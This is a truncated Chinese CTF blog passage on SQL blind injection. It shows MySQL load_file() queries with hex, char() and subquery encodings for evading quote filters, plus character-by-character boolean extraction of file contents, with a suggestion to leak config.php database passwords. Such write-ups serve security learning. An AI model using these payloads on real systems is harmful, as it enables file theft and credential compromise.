【CTF】关于SQL盲注的细节

本文详细探讨了CTF比赛中的SQL盲注技术,包括load_file()、char()、hex()、unhex()、like通配符、过滤空格与引号的处理方法。通过案例分析了order by盲注和结合反序列化的攻击手段,提供了绕过过滤的策略,如使用0x编码和特殊符号替代。
摘要由CSDN通过智能技术生成

目录:

0x01 CTF题目中关于load_file()、char()、hex()、unhex()、like、过滤空格、过滤引号及相关问题

0x02 某简单题目中关于order by利用排序布尔盲注题目及源码

0x03 某CTF题解,盲注+泄露+反序列化

 

 

 

0x01 CTF题目中关于load_file()、char()、hex()、unhex()、like、过滤空格、过滤引号及相关问题

1、load_file()函数

它用来读取文件内容。

select load_file('c:/clog.txt');

盲注时,可以配合ascii(substr(select load_file('c:/clog.txt'))) > 97 使用,泄露出文件内容。

 

load_file重点好处在于,当过滤引号后,into outfile 'xxxx'  就不能用了,但load_file参数支持0x、char()转换结果、引号、select子句结果。

它确实太好了所以再强调一下hhhh

参数可以用4种:

loadfile(0x616161);

loadfile( char(97,97,97) );

loadfile('c:/clog.txt');

loadfile( (select path form table where id=1) );

 

着实有些强大,给SQL注入泄露文件内容提供了方便

可以泄露出config.php看看数据库连接密码。

 

另外强大之处在于位置灵活,load_file()在union中、在where中都可以

在union中:

union后的红色部分,成功读到了c:/clog.txt的内容,在回显第三行

前两行是第一个select的。

绿色是记得union时,切记保持字段数和第一个select一致!2个字段,易错。

 

在where中:

select * from goods where id=1 and substr( load_file('c:/clog.txt'),1,1 )='a';

select * from goods where id=1 and substr( load_file('c:/clog.txt'),1,1 )='f';

load_file获得的内容是flag 猜第一个字符是a无返回,猜是f正常满足where id=1 and true

 

(题外话:直接在MYSQL中可以select附加insert语句,但PHP函数mysql_query不能执行)

 

 

2、char()函数

用来ascii码转字符串。

它可以配合load_file函数,作为其参数过防火墙。

select char(97,98,99);

可以得到abc

配合用法:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值